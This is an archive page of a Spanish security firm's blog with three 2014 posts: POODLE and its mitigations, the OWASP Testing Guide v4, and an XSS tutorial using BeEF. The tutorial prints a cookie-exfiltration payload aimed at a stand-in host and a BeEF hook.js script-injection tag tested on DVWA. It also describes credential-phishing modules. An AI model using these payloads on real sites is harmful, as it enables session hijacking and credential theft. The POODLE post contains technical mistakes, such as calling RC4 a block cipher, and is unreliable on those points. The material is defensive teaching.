Monthly Archives: octubre 2014

  • 0

Poodle RIP SSL. La última y definitiva vulnerabilidad de SSL

This POODLE bites!

Menudo año llevamos, desde el heartbleed, luego el shellshock y ahora nada más y nada menos que Poodle, una vulnerabilidad que según los técnicos de Google que la han descubierto, Möller Bodo, Duong Thai y Kotowicz Krzysztof parece que enterrará un proyecto con 15 años de historia y que además supone uno de los pilares fundamentales de las comunicaciones seguras de hoy en día.

Básicamente, los servidores de Internet ofrecen a sus clientes la última versión de su protocolo de comunicación segura, es entonces cuando comienza una danza de downgrade. Esto quiere decir que si un programa cliente intenta conectarse, el servidor comprueba cual es la última versión que el programa cliente soporta, y seguidamente continuar con la comunicación, pero si falla muchas veces ofrecerá una versión más antigua.

Esto mismo ocurre si se están produciendo errores en la red, que también podrían ser causados por atacantes maliciosos. Para ser más exactos, un atacante podría provocar que esos intentos de reconexión acaben por hacer que el cliente utilice una versión muy antigua de algún protocolo,como por ejemplo SSL v3, a través de un ataque man in the midle y en combinación con un ataque sobre la criptografía durante la comunicación, ya conocidos para SSL v3, haciendo que finalmente que el protocolo sea inseguro.

El cifrado de SSL v3 utiliza RC4 cipher, un tipo de cifrado en bloques, no vamos en entrar en detalles, pero en resumen, se pueden realizar dos ataques conocidos sobre este tipo de criptografía como son BEATS y Lucky-13. La intercepción previa de las comunicaciones y la modificación de estos bloques durante la negociación del protocolo, son la clave de estos ataques. Abajo he dejado un enlace que describe el ataque Lucky-13.

Soluciones al problema

    • Deshabilitar SSL 3 por el momento en las aplicaciones que lo permitan dado que no tiene arreglo por el momento.
    • OpenSSL 1.0.1 debería upgradarse a 1.0.1j.
    • OpenSSL 1.0.0 debería upgradarse a 1.0.0o.
    • OpenSSL 0.9.8 debería upgradarse a 0.9.8zc.
    • Servidores y clientes deberían soportar la opción TLS_FALLBACK_SCSV para prevenir los ataques de downgrade
    • En Firefox cercionarse de que la opción (entrando en about:config) security.tls.version.min tenga un valor igual a 1

¿Y ahora que hacemos?

Pues no nos va a quedar más remedio que evitar la inseguridad y dejar de utilizar este protocolo que por cierto ya tiene 15 años de historia, en favor de otros, como TSL 1.2. El cambio provocará algunas molestias, pero no será dramático.

Artículos originales:

https://www.openssl.org/~bodo/ssl-poodle.pdf
Descripción del ataque Lucky-13
http://www.isg.rhul.ac.uk/tls/Lucky13.html


  • 0

Publicada la OWASP Testing Guide v4

Introducción

El pasado 17 de Septiembre se presento oficialmente la versión 4 de la Guía de Testing de Owasp. La verdad es que la noticia paso sin pena ni gloria por los diferentes blogs y paginas dedicadas a la seguridad. Creemos que es una noticia muy importante y no se ha dado la transcendencia que merece. El Owasp Testing Guide es un libro imprescindible que debe estar en todo auditor de seguridad o persona que quiera conocer mas sobre el tema tan apasionante de la seguridad informática.

Figura 1: Portada de la Guía OWASP de Testing.

Figura 1: Portada de la Guía OWASP de Testing.

En principio y hasta que este traducida la podremos de leer en dos formatos en pdf (https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf) o accesible en a través del web (https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents).

¿Que es la versión 4 de la Testing Guide de OWASP?

La Testing Guide es una guía, como su nombre indica de, una serie de pruebas que se pueden hacer a sistema y aplicativos para comprobar su seguridad. Dicho así suena como a “chino”, pero vamos a intentar ver como funciona mirando un capitulo de dicha guía como ejemplo.

La idea de cada capitulo es definir una prueba o un problema. Se explica el mismo, que es, que se intenta conseguir, etc. A continuación se definen una serie de pruebas con código y respuestas para ver como se puede evaluar si el sistema o aplicativo es vulnerable a ese problema. Y para terminar se recomiendan una serie de herramientas que automatizan en la medida de lo posible estas pruebas.

Ejemplo de prueba de la guía “Test HTTP Methods (OTG-CONFIG-006)”

El estudio de cada uno de los problemas o pruebas que debemos hacer en los sistemas o aplicativos se dividen en una serie de partes que nos indicaran que es y como se puede comprobar si el sistema es vulnerable.

Summary

Primera parte del estudio de la vulnerabilidad. En la versión Inglesa recibe el nombre de “Summary”. En esta parte explican de una manera clara cuales son las puntos importantes de estas caraceteristicas de los sistemas o aplicativos. A modo de ejemplo, podemos ver en esta captura la explicación de los métodos HTTP (HEAD, GET, POST,PUT,DELETE,TRACE,OPTIONS,CONNECT) lo que son y para que se utilizan.

Figura 2: Summary, donde se explican las características de la vulnerabilidad.

Figura 2: Summary, donde se explican las características de la vulnerabilidad.

 

How to Test

A continuación viene la parte llamada “How to Test”. Como su nombre indica hace referencia a como se deben de realizar los test para comprobar si el sistema o aplicativo es vulnerable a este problema. En las pruebas se intenta usar comandos o por lo menos hacerlo de una manera muy simple.

Figura 3: How to Test, donde se explican como realizar los test para comprobar la vulnerabilidad.

Figura 3: How to Test, donde se explican como realizar los test para comprobar la vulnerabilidad.

Tools

En esta parte se hace referencia a las herramientas que podemos usar para realizar las pruebas que se han explicado anteriormente pero de una manera mucho mas automática.

Figura 4: Tools, listado de herramientas que podemos usar para realizar las pruebas.

Figura 4: Tools, listado de herramientas que podemos usar para realizar las pruebas.

References

Por ultimo la parte de “referencias”, un listado de enlaces donde podemos leer mas sobre este tipo de ataques, contra-medidas, etc.

 

Figura 5: References, listado de enlaces para conseguir mas información.

Figura 5: References, listado de enlaces para conseguir mas información.

Conclusión

Aunque hemos tenido que esperar un tiempo desde la versión 3 de esta guía, esta versión 4, seguirá siendo un libro imprescindible para realizar las auditorias de seguridad de las personas que nos dedicamos a esto de la seguridad.

Les recordamos los enlaces a los dos formatos disponibles hasta el momento en pdf (https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf) o accesible en a través del web (https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents).

Un saludo


  • 0

Introducción a XSS y BeEF

The Browser Explotation Framework Project

 

 

Introducción a XSS

Técnicamente, una inyección de código XSS se produce cuando un atacante envía código malicioso a través de un formulario de una página web y esta web responde mostrando información que no debe porque el servidor ha interpretado esa entrada como un script y lo ha ejecutado, cosa que no debería pasar. Sin embargo el XSS Cross-site Scripting es una de las principales amenazas y más extendidas dentro de la web. Permitiendo una variedad de ataques que se han ido perfeccionando con el tiempo y han dado lugar a que aparezcan herramientas como beef, completos frameworks que mal utilizados puedes ser usados para fines antitéticos fraude, robo de información, etc.

 

Peligros, ¿Que podría un atacante conseguir inyectando código malicioso en una página web?:

  • Control sobre el navegador de la víctima
  • Reversering
  • Robo información
  • Robo de contraseñas
  • Robo de cookies de sesión
  • Defacement
  • Utilizar el navegador de una víctima como proxy web
  • DNS Tunneling
  • Inutilización de la web
  • Descubrimiento de red
  • Redirecciones o reenvío de mails
  • Etc…

La mayoría de las webs contienen formularios, ya sean formularios de login, o simples formularios de contacto, o firma. Estos formularios son procesados por el navegador como el resto de la página, por lo tanto estos formularios son susceptibles de recibir una información que luego mostrará interpretándose por el servidor web, para luego mostrarse en la página.

Tipos de Inyecciones XSS

Existen tres tipos de inyecciones XSS:

Tipo Indirecto o Reflejado

Cualquier formulario que permita la inyección de código que luego será interpretado por el servidor, en muchos casos mostrando incómodos mensajes y/o mostrando información que no se debería mostrar, el resultado de la inyección se ve “reflejado” directamente en el navegador.

Persistente

Se da en casos, donde hay un formulario que mostrará la información enviada a través de él cada vez que se cargue la página. Son las más peligrosas, puesto que persisten, en la página. Son típicos formularios de foros y firmas que luego verán los demás usuarios.

DOM Based XSS

Es cuando el la infección se realiza modificando la configuración del navegador de la víctima a través de el script inyectado. Document Objet Module, es una api que usan los navegadores web para presentar y/o modificar la información de documentos XML y HTML y este tipo de infección utiliza esta api para infectar el navegador.

Un ejemplo de los peligros de robo de la cookie de sesión, imaginemos este código inyectado dentro de las etiquetas <script>/script>

href=# onclick="document.location='http://maliciososite.com/xss.php?c='+escape(document.cookie);">Hello!!!

Esto podría hacer que un usuario pulsase inconscientemente en este link, que envía la cookie generada a un sitio web deseado por el atacante permitiéndole suplantar la sesión. Como se ve maliciososite.com/xss.php?c= recibiría por método $POST “c” la cookie del usuario que pulsase ese enlace. Normalmente estos sitios web, han sido “secuestrados” por ciberdelincuentes que están recolectado datos de incautos usuarios, incluso guardándolos en la base de datos de la propia web.

BeEF The Browser Explotation Framework

beefproject.com es una herramienta que nos permite automatizar este proceso de inyección, permitiendo utilizar un framework para interactuar con el navegador infectado. BeEF hace uso de un script llamado “Hook.js” que actúa como nexo de unión entre el atacante y el navegador de la víctima ejecutando las instrucciones mediante javascript.

La instalación de beef es muy fácil, solo hay que instalarlo desde GitHub y ejecutarlo:

git clone https://github.com/beefproject/beef
cd beef
install bundle
./beef

Una vez esta instalado podemos empezar a utilizar el framework. Por defecto escucha en el puerto 3000, así que abrimos el navegador http://localhost:3000/ui/panel e introducimos como usuario “beef” y contraseña “beef”.
Una vez tenemos el programa beef corriendo, tenemos que inyectar código en alguna web y que sea persistente el xss para que cuando alguien cargue dicha página reciba la carga en su navegador.

Beef mostrará las interfaces en las que esta corriendo y las urls del panel y de hook.js:

[22:48:55][+] running on network interface: 127.0.0.1
[22:48:55]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:48:55]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:48:55][+] running on network interface: 192.168.1.117
[22:48:55]    |   Hook URL: http://192.168.1.117:3000/hook.js
[22:48:55]    |_  UI URL:   http://192.168.1.117:3000/ui/panel
[22:48:55][+] running on network interface: 25.0.3.5
[22:48:55]    |   Hook URL: http://5.0.3.5:3000/hook.js
[22:48:55]    |_  UI URL:   http://5.0.3.5:3000/ui/panel
[22:48:55][+] running on network interface: 10.0.0.14
[22:48:55]    |   Hook URL: http://10.0.0.14:3000/hook.js
[22:48:55]    |_  UI URL:   http://10.0.0.14:3000/ui/panel

De esta forma el usuario que visite la web con la inyección “TeamSec<script src=”http://192.168.1.117:3000/hook.js”>” quedará automáticamente infectado si no posee protección alguna.

Prueba concepto contra DVWA, ver post Dam Vulnerable apps

Reflected XSS

xss1xxs

Ahora vamos a probar contra el xss stored o persistente

He tenido que acortar la inyección ya que dvwa no permite introducir más de 50 caracteres en el formulario, así que http://192.168.1.117:3000/hook.js no cabía, lo he resuelto gracias al acortador de urls bitly
De esta forma cada vez que alguien cargue la página abrirá una conexión contra beef, además no se habrá dado cuenta, aparece el mensaje TeamSec y el script se carga en el navegador, no se detectará un comportamiento anómalo si no se dispone de protecciones.

xxs3beef

 

 

 

 

 

 

 

 

 

Beef tiene funcionalidades tan maliciosas como poder encender la webcam del ordenador infectado. Ofrece al usuario infectado la posibilidad de activar su web cam vía web, si este cae en la trampa, su webcam se activará mostrando al atacante la imagen de la víctima o de los objetos que rodean al ordenador.

Ejemplo de falso timeout session prefabricado para Facebook

Beef es una aplicación de pentesting que salta las barreras de seguridad en mayor medida con ayuda del propio usuario. Tenga en cuenta que la mayoría de usuarios desconocen los entresijos de la programación web y el funcionamiento propio de internet, es por esto que beef ofrece una serie de módulos que nos facilitarán la tarea, de la ingeniería social.

Módulos de beef especialmente maliciosos para hacer ingeniería social ¿No tiene las credenciales?. Pregúntaselas al usuario:

  • The Pretty Theft Este módulo muestra un mensaje explicando que la sesion del usuario ha expirado y debe introducir de nuevo su login y password.
  • The Simple Hijacker Este modulo trae un montón de plantillas para distintas ingenierías sociales, que se mostrarán cuando el usuario haga click en un enlace
  • Clippy Crea un pequeño asistente para “actualizar” el navegador

Muchos usuarios pican en estas trampas, cediendo todo tipo de credenciales, datos privados y claves de sus cuentas con las principales redes sociales.

Cualquier web que haya sido inyectada pasa de ser un sitio inofensivo a uno atacante, pudiendo crear muchas molestias a los usuarios, que aunque no hayan visto afectados sus navegadores, es posible que sí puedan ver mensajes emergentes, alertas, etc.

Como prevenir los XSS injection

Del lado del cliente, existen distintos métodos. Es buena idea usar proxys que filtre información o filtros web como NoScript, que se instalan en el navegador.

Del lado del servidor, como siempre los fallos en su mayoría provienen de errores de programación, es buena idea usar frameworks para el testeo a nivel de código antes de poner software en fase de producción. La falta de firewalls y filtros para xss facilitarían la tarea de la búsqueda de fallos por parte de los atacantes y que además no se impida la redirección a sitios maliciosos.
Aconsejamos tener como referencia la guía de OWASP para prevención de XSS. OWASP_Prevention_Cheat_Sheet

La política del mismo origen previene que un documento o script cargado en un “origen” pueda cargarse o modificar propiedades del documento desde un “origen” diferente. Se trata de uno de los conceptos de seguridad más importantes de los navegadores modernos y que se debería seguir implementándose de la misma forma cuando se desarrolla aplicaciones web.

Hasta aquí se muestra un poco, lo que puede hacer, con esta herramienta, instalada y configurada. Imagine por un momento que esa web es la suya o la de su organización. En su web el delincuente ha entrado y le ha dejado de “regalo” una instalación totalmente funcional del Beef. No ha modificado nada o por lo menos no es consciente de esa modificación pero lo suficiente para que sus clientes no se den cuenta que están siendo infectados cuando acceden a su pagina.

En TeamSec estaremos encantado de asesorarles sobre como prevenir este tipo de ataques e eliminarlos por completo dado que disponemos profesionales especializados y altamente experimentados.